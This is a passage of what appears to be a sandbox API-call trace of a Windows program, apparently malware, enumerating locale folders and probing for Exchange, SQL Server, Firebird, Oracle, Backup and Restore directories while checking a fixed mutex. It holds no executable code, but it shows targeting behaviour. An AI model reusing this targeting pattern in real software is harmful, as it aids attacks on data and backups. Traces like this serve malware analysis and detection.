nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@⡄R企@\x18?T\x18\x97")) returned 0xffffffff [0047.181] GetLastError () returned 0x2 [0047.181] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.181] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0047.181] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0047.181] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0047.181] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.181] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0047.181] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0047.181] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0047.181] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0047.181] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.181] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.181] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0047.181] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.181] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.181] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0047.182] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0047.182] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0047.182] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.182] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.182] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.182] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.182] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.182] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.182] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.182] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.182] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.182] GetLastError () returned 0x12 [0047.182] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0047.182] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.182] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0047.182] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.182] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.182] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK", len=0x38 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK") returned 1 [0047.183] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@◺R◎R企@\x18㿬Q\x18\x1b")) returned 0xffffffff [0047.183] GetLastError () returned 0x3 [0047.183] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@╜R企@\x18권Q\x181")) returned 0xffffffff [0047.183] GetLastError () returned 0x2 [0047.183] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@♔R企@\x18?T\x18;")) returned 0xffffffff [0047.183] GetLastError () returned 0x2 [0047.183] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@❌R企@\x18?T\x18D")) returned 0xffffffff [0047.183] GetLastError () returned 0x2 [0047.183] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@╜R企@\x18♔R\x18j")) returned 0xffffffff [0047.183] GetLastError () returned 0x2 [0047.184] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@❌R企@\x18?T\x18q")) returned 0xffffffff [0047.184] GetLastError () returned 0x2 [0047.184] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@⎌R企@\x18?T\x18y")) returned 0xffffffff [0047.184] GetLastError () returned 0x2 [0047.184] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@╜R企@\x18?T\x18\x81")) returned 0xffffffff [0047.184] GetLastError () returned 0x2 [0047.184] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@❌R企@\x18?T\x18\x88")) returned 0xffffffff [0047.184] GetLastError () returned 0x2 [0047.184] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@⎌R企@\x18?T\x18\x8f")) returned 0xffffffff [0047.184] GetLastError () returned 0x2 [0047.184] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@╜R企@\x18?T\x18\x97")) returned 0xffffffff [0047.184] GetLastError () returned 0x2 [0047.185] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.185] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0047.185] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0047.185] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0047.185] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.185] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0047.185] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0047.185] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0047.185] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0047.185] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.185] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.185] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.185] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0047.185] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0047.185] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.185] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.185] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.185] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.186] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.186] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.186] GetLastError () returned 0x12 [0047.186] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0047.186] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.186] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.186] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI", len=0x38 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI") returned 1 [0047.186] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@섪R샾R企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0047.186] GetLastError () returned 0x3 [0047.186] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@삌R企@\x18㿬Q\x181")) returned 0xffffffff [0047.186] GetLastError () returned 0x2 [0047.186] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@❌R企@\x18?T\x18;")) returned 0xffffffff [0047.187] GetLastError () returned 0x2 [0047.187] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, 